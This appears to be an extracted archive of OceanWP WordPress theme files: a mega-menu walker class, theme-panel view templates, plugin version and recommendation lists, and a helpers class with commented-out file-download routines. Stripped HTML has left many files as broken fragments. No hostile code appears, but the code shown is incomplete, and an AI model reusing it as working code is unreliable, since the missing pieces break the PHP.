item's title, the closing ``, and `$args->after`. Currently, there is * no filter for modifying the opening and closing `
                    • ` for a menu item. * * @since 3.0.0 * * @param string $item_output The menu item's starting HTML output. * @param WP_Post $item Menu item data object. * @param int $depth Depth of menu item. Used for padding. * @param stdClass $args An object of wp_nav_menu() arguments. */ $output .= apply_filters( 'walker_nav_menu_start_el', $item_output, $item, $depth, $args ); } /** * Ends the element output, if needed. * * @since 3.0.0 * * @see Walker::end_el() * * @param string $output Used to append additional content (passed by reference). * @param WP_Post $item Page data object. Not used. * @param int $depth Depth of page. Not Used. * @param stdClass $args An object of wp_nav_menu() arguments. */ public function end_el( &$output, $item, $depth = 0, $args = null ) { // Header style $header_style = oceanwp_header_style(); if ( $depth === 0 && $item->category_post != '' && 'full_screen' != $header_style && 'vertical' != $header_style ) { global $post; $output .= "\n
                        \n"; // Sub Categories =============================================================== if ( $item->category_post != '' && $item->object == 'category' ) { $no_sub_categories = $sub_categories_exists = $sub_categories = ''; $query_args = array( 'child_of' => $item->object_id, ); $sub_categories = get_categories( $query_args ); // Check if the category doesn't contain any sub categories. if ( count( $sub_categories ) == 0 ) { $sub_categories = array( $item->object_id ); $no_sub_categories = true; } foreach ( $sub_categories as $category ) { if ( ! $no_sub_categories ) { $cat_id = $category->term_id; } else { $cat_id = $category; } $original_post = $post; $count = 0; $args = array( 'posts_per_page' => 4, 'cat' => $cat_id, 'no_found_rows' => true, 'ignore_sticky_posts' => true, ); $cat_query = new WP_Query( $args ); // Title $output .= '

                        ' . esc_html__( 'Latest in', 'oceanwp' ) . ' ' . get_cat_name( $cat_id ) . '

                        '; while ( $cat_query->have_posts() ) { // first post $count++; if ( $count == 1 ) { $classes = 'mega-cat-post first'; } else { $classes = 'mega-cat-post'; } $cat_query->the_post(); $output .= '
                      • '; if ( has_post_thumbnail() ) { // Image args. $img_args = array( 'alt' => oceanwp_theme_strings( 'owp-string-read-more-article', false ) . ' ' . get_the_title(), ); if ( oceanwp_get_schema_markup( 'image' ) ) { $img_args['itemprop'] = 'image'; } $output .= ''; $output .= get_the_post_thumbnail( get_the_ID(), 'medium', $img_args ); $output .= ''; $output .= ''; $output .= '

                        ' . get_the_title() . '

                        '; } $output .= '
                      • '; } wp_reset_postdata(); } $output .= '
                      '; } } //
                    • output. $output .= ''; } /** * Ends the list of after the elements are added. * * @since 3.0.0 * * @see Walker::end_lvl() * * @param string $output Used to append additional content (passed by reference). * @param int $depth Depth of menu item. Used for padding. * @param stdClass $args An object of wp_nav_menu() arguments. */ public function end_lvl( &$output, $depth = 0, $args = null ) { $indent = str_repeat( "\t", $depth ); $output .= "$indent
                    \n"; } /** * Icon if sub menu. */ public function display_element( $element, &$children_elements, $max_depth, $depth, $args, &$output ) { // Define vars $id_field = $this->db_fields['id']; $header_style = oceanwp_header_style(); $full_screen_dropdown = ''; if ( isset( $args[0] ) && is_object( $args[0] ) ) { $args[0]->has_children = ! empty( $children_elements[ $element->$id_field ] ); } // Down Arrows if ( ! empty( $children_elements[ $element->$id_field ] ) && ( $depth == 0 ) || $element->category_post != '' && $element->object == 'category' && 'full_screen' != $header_style ) { $element->classes[] = 'dropdown'; if ( true == get_theme_mod( 'ocean_menu_arrow_down', true ) ) { ( 'full_screen' == $header_style ) ? $element->title .= '' . $full_screen_dropdown : $element->title .= oceanwp_icon( 'angle_down', false, 'nav-arrow' ); } } // Right/Left Arrows if ( ! empty( $children_elements[ $element->$id_field ] ) && ( $depth > 0 ) ) { $element->classes[] = 'dropdown'; if ( true == get_theme_mod( 'ocean_menu_arrow_side', true ) ) { if ( is_rtl() ) { ( 'full_screen' == $header_style ) ? $element->title .= $full_screen_dropdown : $element->title .= oceanwp_icon( 'angle_left', false, 'nav-arrow' ); } else { ( 'full_screen' == $header_style ) ? $element->title .= $full_screen_dropdown : $element->title .= oceanwp_icon( 'angle_right', false, 'nav-arrow' ); } } } // Define walker Walker_Nav_Menu::display_element( $element, $children_elements, $max_depth, $depth, $args, $output ); } } } walker/template.php000064400000001770151551031110010353 0ustar00mega_template; // Check if page is Elementor page $elementor = get_post_meta( $get_id, '_elementor_edit_mode', true ); // Get template content if ( ! empty( $get_id ) ) { $template_id = get_post( $get_id ); if ( $template_id && ! is_wp_error( $template_id ) ) { $content = $template_id->post_content; } } // If Elementor if ( OCEANWP_ELEMENTOR_ACTIVE && $elementor ) { echo Elementor\Plugin::instance()->frontend->get_builder_content_for_display( $get_id ); } // If Beaver Builder else if ( OCEANWP_BEAVER_BUILDER_ACTIVE && ! empty( $get_id ) ) { echo do_shortcode( '[fl_builder_insert_layout id="' . $get_id . '"]' ); } // Else else { // If Gutenberg. if ( ocean_is_block_template( $get_id ) ) { $content = apply_filters( 'ocean_mega_menu_template_content', do_blocks( $content ) ); } // Display template content. echo do_shortcode( $content ); }walker/init.php000064400000021414151551031110007500 0ustar00template = get_post_meta( $menu_item->ID, '_menu_item_template', true ); $menu_item->mega_template = get_post_meta( $menu_item->ID, '_menu_item_mega_template', true ); $menu_item->nolink = get_post_meta( $menu_item->ID, '_menu_item_nolink', true ); $menu_item->category_post = get_post_meta( $menu_item->ID, '_menu_item_category_post', true ); $menu_item->megamenu = get_post_meta( $menu_item->ID, '_menu_item_megamenu', true ); $menu_item->megamenu_auto_width = get_post_meta( $menu_item->ID, '_menu_item_megamenu_auto_width', true ); $menu_item->megamenu_col = get_post_meta( $menu_item->ID, '_menu_item_megamenu_col', true ); $menu_item->megamenu_heading = get_post_meta( $menu_item->ID, '_menu_item_megamenu_heading', true ); $menu_item->megamenu_widgetarea = get_post_meta( $menu_item->ID, '_menu_item_megamenu_widgetarea', true ); $menu_item->icon = get_post_meta( $menu_item->ID, '_menu_item_icon', true ); return $menu_item; } /** * Add custom megamenu fields data to the menu. * * @access public * @param object $menu_item A single menu item. * @return object The menu item. */ public function add_custom_fields( $id, $item, $depth, $args ) { ?>

                    object == 'category' ){ ?>

                    extra_installed(); $oe_install_demos_active = get_option( 'oe_install_demos_active', 'yes' ); $need_to_upgrade = oceanwp_theme_panel()->need_to_upgrade(); $banner_upgrade_link = oceanwp_theme_panel()->banner_upgrade_link(); $install_oe_upgrade_core_extensions_bundle_text_link = oceanwp_theme_panel()->install_oe_upgrade_core_extensions_bundle_text_link(); ?>
                    panel_top_header(); ?>

                    ', '' ); ?>

                    ', '' ); ?>

                    print_pane( 'install-demos-switcher' ); ?>
                    print_pane( 'install-demos-catalog' ); endif; ?> themepanel/views/panes/elementor-widgets.php000064400000004765151551031110015305 0ustar00need_to_upgrade(); $extra_mode_actived = oceanwp_theme_panel()->extra_installed(); $ocean_elementor_widgets_actived = oceanwp_theme_panel()->ocean_elementor_widgets_activated(); $banner_upgrade_link = oceanwp_theme_panel()->banner_upgrade_link(); ?>
                    panel_top_header(); ?>

                    panel_plugin_upgrade_message( 'ocean-elementor-widgets' ); ?>

                    print_pane( 'elementor-widgets-settings' ); ?>

                    ', '' ); ?>

                    themepanel/views/panes/gutenberg-blocks.php000064400000004644151551031110015100 0ustar00need_to_upgrade(); $extra_mode_actived = oceanwp_theme_panel()->extra_installed(); $ocean_gutenberg_blocks_actived = oceanwp_theme_panel()->ocean_gutenberg_blocks_activated(); $banner_upgrade_link = oceanwp_theme_panel()->banner_upgrade_link(); ?>
                    panel_top_header(); ?>

                    panel_plugin_upgrade_message( 'ocean-gutenberg-blocks' ); ?>

                    print_pane( 'gutenberg-blocks-settings' ); ?>

                    ', '' ); ?>

                    themepanel/views/panes/integration.php000064400000011461151551031110014161 0ustar00extra_installed(); $ocean_elementor_widgets_actived = oceanwp_theme_panel()->ocean_elementor_widgets_activated(); $upgrade_core_extensions_bundle_text_link = oceanwp_theme_panel()->upgrade_core_extensions_bundle_text_link(); $please_install_oe_text_link = oceanwp_theme_panel()->please_install_oe_text_link(); $install_oe_upgrade_core_extensions_bundle_text_link = oceanwp_theme_panel()->install_oe_upgrade_core_extensions_bundle_text_link(); ?>
                    panel_top_header(); ?>

                    print_pane( 'integration-svg' ); ?>

                    print_pane( 'integration-google-maps' ); ?>

                    print_pane( 'integration-google-recaptcha' ); ?>

                    print_pane( 'integration-mailchimp' ); ?>

                    print_pane( 'extra-settings-adobe-fonts' ); ?>

                    themepanel/views/panes/help.php000064400000022242151551031110012565 0ustar00need_to_upgrade(); $banner_upgrade_link = oceanwp_theme_panel()->banner_upgrade_link(); ?>
                    panel_top_header(); ?>

                    themepanel/views/panes/white-label.php000064400000004751151551031110014037 0ustar00need_to_upgrade(); $extra_mode_actived = oceanwp_theme_panel()->extra_installed(); $ocean_white_label_activated = oceanwp_theme_panel()->ocean_white_label_activated(); $banner_upgrade_link = oceanwp_theme_panel()->banner_upgrade_link(); $white_label_need_hide = get_option( 'oceanwp_hide_box', false ); ?>
                    panel_top_header(); ?>

                    panel_plugin_upgrade_message( 'ocean-white-label' ); ?>

                    print_pane( 'ocean-white-label-settings' ); ?>

                    ', '' ); ?>

                    themepanel/views/panes/changelog.php000064400000001245151551031110013564 0ustar00
                    panel_top_header(); ?>
                    themepanel/views/panes/elementor-library.php000064400000013550151551031110015273 0ustar00extra_installed(); $need_to_upgrade = oceanwp_theme_panel()->need_to_upgrade(); $banner_upgrade_link = oceanwp_theme_panel()->banner_upgrade_link(); $ocean_pro_demos_activated = oceanwp_theme_panel()->ocean_pro_demos_activated(); $install_oe_upgrade_core_extensions_bundle_text_link = oceanwp_theme_panel()->install_oe_upgrade_core_extensions_bundle_text_link(); $ocean_elementor_library_is_disabled = get_option( 'disable_ocean_elementor_library', 'no' ) == 'yes'; $tags = apply_filters( 'opd_elementor_library_panel_tags', [] ); $available_tags = get_option( 'opd_elementor_library_tags', null ); ?>
                    panel_top_header(); ?>

                    $val ) : $checked = $available_tags === null ? true : ! empty( $available_tags[ $key ] ); ?>

                    ', '' ); ?>

                    themepanel/views/panes/customizer.php000064400000006454151551031110014050 0ustar00extra_installed(); $please_install_oe_text_link = oceanwp_theme_panel()->please_install_oe_text_link(); ?>
                    panel_top_header(); ?>

                    print_pane( 'customizer-search' ); ?>

                    print_pane( 'customizer-controls' ); ?>

                    print_pane( 'customizer-import-export' ); ?>

                    print_pane( 'customizer-reset' ); ?>

                    themepanel/views/panes/plugin-upgrade-info.php000064400000000342151551031110015506 0ustar00

                    themepanel/views/panes/system-info.php000064400000002430151551031110014107 0ustar00extra_installed(); $please_install_oe_text_link = oceanwp_theme_panel()->please_install_oe_text_link(); ?>
                    panel_top_header(); ?>

                    print_pane( 'system-info-details' ); ?>
                    themepanel/views/panes/extra-settings.php000064400000007344151551031110014624 0ustar00extra_installed(); ?>
                    panel_top_header(); ?>

                    ', '' ); ?>

                    print_pane( 'extra-settings-metaboxes' ); ?>

                    print_pane( 'extra-settings-my-library' ); ?>

                    Widgets.', 'oceanwp' ); ?>

                    print_pane( 'extra-settings-widgets' ); ?>
                    themepanel/views/panes/ocean-images.php000064400000006706151551031110014174 0ustar00need_to_upgrade(); $extra_mode_actived = oceanwp_theme_panel()->extra_installed(); $ocean_pro_demos_actived = oceanwp_theme_panel()->ocean_pro_demos_activated(); $banner_upgrade_link = oceanwp_theme_panel()->banner_upgrade_link(); $upgrade_bundle_plan_text_link = oceanwp_theme_panel()->upgrade_bundle_plan_text_link(); ?>
                    panel_top_header(); ?>

                    ', '' ); ?>

                    print_pane( 'ocean-images-settings' ); ?>

                    themepanel/views/panes/home.php000064400000040022151551031110012561 0ustar00extra_installed(); $need_to_upgrade = oceanwp_theme_panel()->need_to_upgrade(); $banner_upgrade_link = oceanwp_theme_panel()->banner_upgrade_link(); if ( $extra_mode_actived && class_exists('Ocean_Extra_New_Theme_Panel' ) ) { $theme_panels = Ocean_Extra_New_Theme_Panel::get_panels(); } /** * Get Custiomizer Options. * * @return void */ function owp_get_customizer_options() { $options = array( 'custom_logo' => array( 'label' => esc_html__( 'Logo', 'oceanwp' ), 'desc' => esc_html__( 'Upload website logo and retina logo for large screens.', 'oceanwp' ), 'icon' => 'logo.png', ), 'site_icon' => array( 'label' => esc_html__( 'Favicon', 'oceanwp' ), 'desc' => esc_html__( 'Upload the browser tab and app icon for your website.', 'oceanwp' ), 'icon' => 'favicon.png', 'customizer_autofocus' => 'blogname', ), 'ocean_primary_color' => array( 'label' => esc_html__( 'Primary Colors', 'oceanwp' ), 'desc' => esc_html__( 'Set primary color and hover color for main styling.', 'oceanwp' ), 'icon' => 'primary-colors.png', 'customizer_autofocus' => 'ocean_customzer_styling', ), 'ocean_typography_panel' => array( 'label' => esc_html__( 'Typography', 'oceanwp' ), 'desc' => esc_html__( 'Pick typography settings for any part of the website.', 'oceanwp' ), 'icon' => 'typography.png', 'panel' => true, ), 'ocean_top_bar' => array( 'label' => esc_html__( 'Top Bar', 'oceanwp' ), 'desc' => esc_html__( 'Enable or disable, add social media, menu and more.', 'oceanwp' ), 'icon' => 'top-bar.png', ), 'ocean_header_style' => array( 'label' => esc_html__( 'Header', 'oceanwp' ), 'desc' => esc_html__( 'Choose main website header style, adjust colors, padding...', 'oceanwp' ), 'icon' => 'header.png', ), 'ocean_footer_widgets' => array( 'label' => esc_html__( 'Footer Widgets', 'oceanwp' ), 'desc' => esc_html__( 'Select footer widgets or a custom template for website footer.', 'oceanwp' ), 'icon' => 'footer-widgets.png', ), 'ocean_footer_bottom' => array( 'label' => esc_html__( 'Footer Bottom', 'oceanwp' ), 'desc' => esc_html__( 'Disable or adjust the footer copyright area of your website.', 'oceanwp' ), 'icon' => 'footer-bottom.png', ), ); // Apply filters and return. return apply_filters( 'oe_customizer_options', $options ); } ?>
                    get_current_plugin_version( 'ocean-extra/ocean-extra.php' ); $required_oe_version = '2.0.0'; if ( ! empty( $current_oe_version ) && ! empty( $required_oe_version ) && version_compare( $current_oe_version, $required_oe_version , '<' ) ) : ?>

                    panel_top_header(); ?>

                    ', '' ); ?>

                    print_pane( 'quick-settings' ); ?>

                    ', '' ); ?>

                    find_plugin_path( 'ocean-extra' ); $is_installed = oceanwp_theme_panel()->check_plugin_installed( $real_plugin_path ); ?>

                    ', '' ); ?>

                    themepanel/views/panes/useful-plugins.php000064400000022413151551031110014617 0ustar00get_wp_plugins_info( array_keys( $usefull_plugins ) ); $recommended_plugins = oceanwp_recommended_plugins(); $repos_recommended_plugins = oceanwp_theme_panel()->get_wp_plugins_info( array_keys( $recommended_plugins ) ); $pro_plugins = oceanwp_pro_plugins(); $need_to_upgrade = oceanwp_theme_panel()->need_to_upgrade(); $banner_upgrade_link = oceanwp_theme_panel()->banner_upgrade_link(); $plugins_compatibility_versions = oceanwp_plugins_compatibility(); $plugins_new_features = oceanwp_plugins_new_features(); ?>
                    panel_top_header(); ?> $pro_plugin_data ) { $real_plugin_path = oceanwp_theme_panel()->find_plugin_path( $pro_plugin_slug ); $is_installed = oceanwp_theme_panel()->check_plugin_installed( $real_plugin_path ); if ( $is_installed ) { $current_plugin_version = oceanwp_theme_panel()->get_current_plugin_version( $real_plugin_path ); if( ! empty( $current_plugin_version ) && ! empty( $plugins_compatibility_versions[ $pro_plugin_slug ] ) && version_compare( $current_plugin_version, $plugins_compatibility_versions[ $pro_plugin_slug ], '<' ) ) { $pro_plugins_recommend_upgrade[] = $pro_plugin_data; } } } } ?> extra_installed() && ! empty( $pro_plugins_recommend_upgrade ) ) : ?>

                    $usefull_plugin_data ) : ?> find_plugin_path( $usefull_plugin_slug ); $is_installed = oceanwp_theme_panel()->check_plugin_installed( $real_plugin_path ); if ( ! empty( $usefull_plugin_data['short_description'] ) ) { $short_description = $usefull_plugin_data['short_description']; } elseif ( ! empty( $repos_plugins[ $usefull_plugin_slug ]['short_description'] ) ) { $short_description = $repos_plugins[ $usefull_plugin_slug ]['short_description']; } else { $short_description = ''; } ?>

                    themepanel/views/panes/free-vs-pro.php000064400000016023151551031110014002 0ustar00need_to_upgrade(); if( ! $need_to_upgrade ) { return; } ?> extra_installed(); ?> ' . esc_html__( 'Upgrade Now', 'oceanwp' ) . ' '; } ?>
                    panel_top_header(); ?>

                    themepanel/views/panes/admin-settings.php000064400000012647151551031110014573 0ustar00need_to_upgrade(); $extra_mode_actived = oceanwp_theme_panel()->extra_installed(); $banner_upgrade_link = oceanwp_theme_panel()->banner_upgrade_link(); $oe_notification_active_status = get_option( 'oe_notification_active_status', 'no' ); $oe_disable_edit_post_active_status = get_option( 'oe_disable_edit_post_active_status', 'no' ); ?>
                    panel_top_header(); ?>

                    ', '' ); ?>

                    ', '' ); ?>

                    themepanel/views/layout/header.php000064400000002065151551031110013275 0ustar00
                    themepanel/views/layout/sidebar.php000064400000001125151551031110013452 0ustar00get_sections(); $default = reset( $sections ); ?>
                      $section ) : ?>
                    themepanel/views/layout/top-bar.php000064400000002070151551031110013405 0ustar00 themepanel/views/layout/master.php000064400000001035151551031110013334 0ustar00

                    print_pane(); ?>
                    themepanel/includes/plugins-compatibility.php000064400000017070151551031110015533 0ustar00 '2.0.5', 'ocean-custom-sidebar' => '1.0.9', 'ocean-posts-slider' => '', 'ocean-stick-anything' => '2.0.4', 'ocean-social-sharing' => '2.0.2', 'ocean-product-sharing' => '2.0.3', 'ocean-extra' => '2.0.0', // PRO Plugins 'ocean-cookie-notice' => '2.0.4', 'ocean-elementor-widgets' => '2.2.1', 'ocean-footer-callout' => '2.0.2', 'ocean-full-screen' => '', 'ocean-gutenberg-blocks' => '1.1.1', 'ocean-hooks' => '', 'ocean-instagram' => '', 'ocean-popup-login' => '2.1.1', 'ocean-portfolio' => '2.0.7', 'ocean-pro-demos' => '1.3.1', 'ocean-side-panel' => '2.0.4', 'ocean-sticky-footer' => '2.0.3', 'ocean-sticky-header' => '2.0.4', 'ocean-white-label' => '2.0.0', 'ocean-woo-popup' => '2.0.2', // 3rd-party Plugins 'elementor' => '', 'wpforms-lite' => '', 'leadin' => '', ) ); } function oceanwp_plugins_new_features() { return apply_filters( 'oceanwp_plugins_new_features_list', array( // Free plugins 'ocean-modal-window' => esc_html__( '+ many, many more options and benefits.', 'oceanwp' ), 'ocean-custom-sidebar' => '', 'ocean-posts-slider' => '', 'ocean-stick-anything' => '', 'ocean-product-sharing' => '', 'ocean-social-sharing' => '', 'ocean-extra' => '', // PRO Plugins 'ocean-cookie-notice' => '', 'ocean-elementor-widgets' => '', 'ocean-footer-callout' => '', 'ocean-full-screen' => '', 'ocean-gutenberg-blocks' => '', 'ocean-hooks' => '', 'ocean-instagram' => '', 'ocean-popup-login' => '', 'ocean-portfolio' => '', 'ocean-pro-demos' => '', 'ocean-side-panel' => '', 'ocean-sticky-footer' => '', 'ocean-sticky-header' => '', 'ocean-white-label' => '', 'ocean-woo-popup' => '', // 3rd-party Plugins 'elementor' => '', 'wpforms-lite' => '', 'leadin' => '', ) ); } function oceanwp_usefull_plugins() { return apply_filters( 'oceanwp_usefull_plugins_list', array( 'ocean-extra' => array( 'name' => esc_html__( 'Ocean Extra', 'oceanwp' ), 'short_description' => esc_html__( 'Unlock the power of OceanWP. Install demos, create custom templates, customize each page or post, add WordPress widgets and more.', 'oceanwp' ), ), 'elementor' => array( 'name' => esc_html__( 'Elementor', 'oceanwp' ), 'short_description' => esc_html__( 'Advanced drag & drop page builder for pixel perfect editing and mobile responsiveness design. Best friend with Ocean WordPress templates.', 'oceanwp' ), ), 'wpforms-lite' => array( 'name' => esc_html__( 'WPForms Contact Form', 'oceanwp' ), 'short_description' => esc_html__( 'Lite drag & drop contact form builder. Makes easy for your visitors to get in touch with you directly through your website.', 'oceanwp' ), ), 'leadin' => array( 'name' => esc_html__( 'HubSpot CRM', 'oceanwp' ), 'short_description' => esc_html__( 'Organize, capture, engage and grow your contact list with forms, live website chat with auto-replies and more.', 'oceanwp' ), ), 'weglot' => array( 'name' => esc_html__( 'Weglot', 'oceanwp' ), 'short_description' => esc_html__( 'Weglot is a translation plugin that helps online business grow by turning their websites multilingual in a matter of minutes.', 'oceanwp' ), 'image_url' => esc_url( OCEANWP_THEME_PANEL_URI . '/assets/images/plugin-icons/weglot.svg' ), ), ) ); } function oceanwp_pro_plugins() { return apply_filters( 'oceanwp_pro_plugins_list', array( 'ocean-cookie-notice' => array( 'name' => esc_html__( 'Ocean Cookie Notice', 'oceanwp' ), ), 'ocean-elementor-widgets' => array( 'name' => esc_html__( 'Ocean Elementor Widgets', 'oceanwp' ), ), 'ocean-footer-callout' => array( 'name' => esc_html__( 'Ocean Footer Callout', 'oceanwp' ), ), 'ocean-gutenberg-blocks' => array( 'name' => esc_html__( 'Ocean Gutenberg Blocks', 'oceanwp' ), ), 'ocean-hooks' => array( 'name' => esc_html__( 'Ocean Hooks', 'oceanwp' ), ), 'ocean-instagram' => array( 'name' => esc_html__( 'Ocean Instagram', 'oceanwp' ), ), 'ocean-popup-login' => array( 'name' => esc_html__( 'Ocean Popup Login', 'oceanwp' ), ), 'ocean-portfolio' => array( 'name' => esc_html__( 'Ocean Portfolio', 'oceanwp' ), ), 'ocean-pro-demos' => array( 'name' => esc_html__( 'Ocean Pro Demos', 'oceanwp' ), ), 'ocean-side-panel' => array( 'name' => esc_html__( 'Ocean Side Panel', 'oceanwp' ), ), 'ocean-sticky-footer' => array( 'name' => esc_html__( 'Ocean Sticky Footer', 'oceanwp' ), ), 'ocean-sticky-header' => array( 'name' => esc_html__( 'Ocean Sticky Header', 'oceanwp' ), ), 'ocean-white-label' => array( 'name' => esc_html__( 'Ocean White Label', 'oceanwp' ), ), 'ocean-woo-popup' => array( 'name' => esc_html__( 'Ocean Woo Popup', 'oceanwp' ), ), ) ); } function oceanwp_sidebar_plugins() { return apply_filters( 'oceanwp_sidebar_plugins_list', array( 'ocean-elementor-widgets', 'ocean-gutenberg-blocks', 'ocean-white-label', ) ); } function oceanwp_recommended_plugins() { return apply_filters( 'oceanwp_recommended_plugins_list', array( 'ocean-extra' => array( 'name' => esc_html__( 'Ocean Extra', 'oceanwp' ), 'short_description' => esc_html__( 'Unlock the power of OceanWP. Install demos, create custom templates, customize each page or post, add WordPress widgets and more.', 'oceanwp' ), ), 'ocean-modal-window' => array( 'name' => esc_html__( 'Modal Window', 'oceanwp' ), 'short_description' => esc_html__( 'Display any content, like contact or subscription forms, in a modal window - popup on button-click.', 'oceanwp' ), ), 'ocean-custom-sidebar' => array( 'name' => esc_html__( 'Custom Sidebar', 'oceanwp' ), 'short_description' => esc_html__( 'Create endless number of WordPress sidebars with a unique widget combination for each.', 'oceanwp' ), ), 'ocean-posts-slider' => array( 'name' => esc_html__( 'Posts Slider', 'oceanwp' ), 'short_description' => esc_html__( 'Simple slider to display your blog posts wherever you want on your website.', 'oceanwp' ), ), 'ocean-stick-anything' => array( 'name' => esc_html__( 'Stick Anything', 'oceanwp' ), 'short_description' => esc_html__( 'Stick widget areas, widgets, boxes, menu or any other content on your website.', 'oceanwp' ), ), 'ocean-social-sharing' => array( 'name' => esc_html__( 'Social Sharing', 'oceanwp' ), 'short_description' => esc_html__( 'Display social media sharing options on your blog posts. Choose options, choose styling and write.', 'oceanwp' ), ), 'ocean-product-sharing' => array( 'name' => esc_html__( 'Product Sharing', 'oceanwp' ), 'short_description' => esc_html__( 'Let customers express the love for your products. Add social media sharing options for products.', 'oceanwp' ), // 'hide_desc' => false, ), ) ); } themepanel/includes/js-messages.php000064400000002572151551031110013425 0ustar00 __( 'Plugin is installed successfully.', 'oceanwp' ), 'plugin_is_successfully_updated' => __( 'Plugin is updated successfully.', 'oceanwp' ), 'installed' => __( 'Installed', 'oceanwp' ), 'updated' => __( 'Updated', 'oceanwp' ), 'child_theme_installed' => __( 'Child theme installed successfully', 'oceanwp' ), 'installing_plugin' => __( 'Installing Plugin...', 'oceanwp' ), 'updating_plugin' => __( 'Updating Plugin...', 'oceanwp' ), 'installing_child_theme' => __( 'Installing Child Theme...', 'oceanwp' ), 'saving_settings' => __( 'Saving...', 'oceanwp' ), 'reseting' => __( 'Reseting...', 'oceanwp' ), 'exporting' => __( 'Exporting...', 'oceanwp' ), 'importing' => __( 'Importing...', 'oceanwp' ), 'copied_system_info' => __( 'Information has been copied.', 'oceanwp' ), 'fonts_clearing' => __( 'Clearing data...', 'oceanwp' ), ); } themepanel/includes/classes/class-helpers.php000064400000032176151551031110015411 0ustar00 * * @param str $path path of directory that need to be created. * @param int $perm permission of new directory , default is : 0775. * * @return bool will return boolean status of action , all message is setted to $this->message() */ // public static function check_perm_and_create( $path, $perm = 0775 ) { // $oceanwp_filesystem = new OceanWP_Filesystem( // array( // 'context' => $path, // ) // ); // if ( $oceanwp_filesystem->get_error_code() ) { // throw new Exception( $oceanwp_filesystem->get_error_message() ); // return false; // } // if ( $oceanwp_filesystem->exists( $path ) ) { // if ( ! $oceanwp_filesystem->is_writable( $path ) ) { // throw new Exception( sprintf( __( '%s directory is not writable', 'jupiterx-core' ), $path ) ); // return false; // } // return true; // } else { // if ( ! $oceanwp_filesystem->mkdir( $path, $perm ) ) { // throw new Exception( sprintf( __( 'Can\'t create directory %s', 'jupiterx-core' ), $path ) ); // return false; // } // return true; // } // } /** * This method is resposible to download file from url and save it on server. * it will check if curl is available or not and then decide to use curl or file_get_content * * @since 1.0.0 * @author Artbees * * @param string $url url of file (http://yahoo.com/test-plugin.zip). * @param string $file_name name of the fire that should be create at destination directory. * @param string $dest_directory absolute path of directory that file save on it. * * @return bool will return action status */ // public static function upload_from_url( $url, $file_name, $dest_directory, $remote_args = [] ) { // set_time_limit( 0 ); // try { // self::check_perm_and_create( $dest_directory ); // } catch ( Exception $e ) { // throw new Exception( sprintf( __( 'Destination directory is not ready for upload . {%s}', 'jupiterx-core' ), $dest_directory ) ); // return false; // } // $response = wp_remote_get( $url, array_merge( [ 'timeout' => 120 ], $remote_args ) ); // if ( is_wp_error( $response ) ) { // throw new Exception( $response->get_error_message() ); // return false; // } // $response_body = wp_remote_retrieve_body( $response ); // if ( is_wp_error( $response_body ) ) { // throw new Exception( $response_body->get_error_message() ); // return false; // } // $oceanwp_filesystem = new OceanWP_Filesystem( // array( // 'context' => $dest_directory, // ) // ); // if ( $oceanwp_filesystem->get_error_code() ) { // throw new Exception( $oceanwp_filesystem->get_error_message() ); // return false; // } // if ( ! $oceanwp_filesystem->put_contents( $dest_directory . $file_name, $response_body ) ) { // throw new Exception( sprintf( __( "Can't write file to {%s}", 'jupiterx-core' ), $dest_directory . $file_name ) ); // return false; // } // return $dest_directory . $file_name; // } /** * This method is resposible to delete a directory or file. * if the path is pointing to a directory it will remove all the includes file recursivly and then remove directory at last step * if the path is pointing to a file it will remove it * * @since 1.0.0 * @author Artbees * * @param str $dir for example (/var/www/jupiter/wp-content/plugins). * * @return bool true or false */ // public static function delete_file_and_dir( $dir ) { // if ( empty( $dir ) == true || strlen( $dir ) < 2 ) { // return false; // } // $dir = realpath( $dir ); // $oceanwp_filesystem = new OceanWP_Filesystem( // array( // 'context' => $dir, // ) // ); // if ( $oceanwp_filesystem->get_error_code() ) { // return false; // } // if ( ! $oceanwp_filesystem->exists( $dir ) ) { // return true; // } // if ( $oceanwp_filesystem->is_dir( $dir ) ) { // return $oceanwp_filesystem->rmdir( $dir, true ); // } else { // return $oceanwp_filesystem->delete( $dir ); // } // } /** * Prevents cache. * Deletes cache files and transients. * * @since 1.0.0 */ // public static function prevent_cache_plugins() { // if ( function_exists( 'w3tc_pgcache_flush' ) ) { // w3tc_pgcache_flush(); // // W3 Total Cache: Page cache flushed. // } elseif ( function_exists( 'wp_cache_clear_cache' ) ) { // wp_cache_clear_cache(); // // WP Super Cache: Page cache cleared. // } elseif ( function_exists( 'rocket_clean_domain' ) ) { // rocket_clean_domain(); // // WP Rocket: Domain cache purged. // } // if ( ! defined( 'DONOTCACHEPAGE' ) ) { // define( 'DONOTCACHEPAGE', true ); // } // if ( ! defined( 'DONOTCACHCEOBJECT' ) ) { // define( 'DONOTCACHCEOBJECT', true ); // } // if ( ! defined( 'DONOTMINIFY' ) ) { // define( 'DONOTMINIFY', true ); // } // if ( ! defined( 'DONOTCACHEDB' ) ) { // define( 'DONOTCACHEDB', true ); // } // if ( ! defined( 'DONOTCDN' ) ) { // define( 'DONOTCDN', true ); // } // } /** * Safely and securely get file from server. * It attempts to read file using WordPress native file read functions * If it fails, we use wp_remote_get. if the site is ssl enabled, we try to convert it http as some servers may fail to get file * * @author Artbees * * @param $file_url string its directory URL. * @param $file_dir string its directory Path. * * @return $wp_file_body string */ // public static function getFileBody( $file_uri, $file_dir ) { // $wp_remote_get_file_body = ''; // $file_dir = realpath( $file_dir ); // $oceanwp_filesystem = new OceanWP_Filesystem( // array( // 'context' => $file_dir, // ) // ); // if ( $oceanwp_filesystem->get_error_code() ) { // throw new Exception( $oceanwp_filesystem->get_error_message() ); // return false; // } // $wp_get_file_body = $oceanwp_filesystem->get_contents( $file_dir ); // if ( false == $wp_get_file_body ) { // $wp_remote_get_file = wp_remote_get( $file_uri ); // if ( is_array( $wp_remote_get_file ) && array_key_exists( 'body', $wp_remote_get_file ) ) { // $wp_remote_get_file_body = $wp_remote_get_file['body']; // } elseif ( is_numeric( strpos( $file_uri, 'https://' ) ) ) { // $file_uri = str_replace( 'https://', 'http://', $file_uri ); // $wp_remote_get_file = wp_remote_get( $file_uri ); // if ( ! is_array( $wp_remote_get_file ) || ! array_key_exists( 'body', $wp_remote_get_file ) ) { // throw new Exception( __( 'SSL connection error. Code: template-assets-get', 'jupiterx-core' ) ); // return false; // } // $wp_remote_get_file_body = $wp_remote_get_file['body']; // } // $wp_file_body = $wp_remote_get_file_body; // } else { // $wp_file_body = $wp_get_file_body; // } // return $wp_file_body; // } /** * Check if the request is done through a localhost. * * @author Artbees * * @return boolean */ public static function is_localhost() { return ('127.0.0.1' == $_SERVER['REMOTE_ADDR'] || 'localhost' == $_SERVER['REMOTE_ADDR'] || '::1' == $_SERVER['REMOTE_ADDR']) ? 1 : 0; } /** * Convert 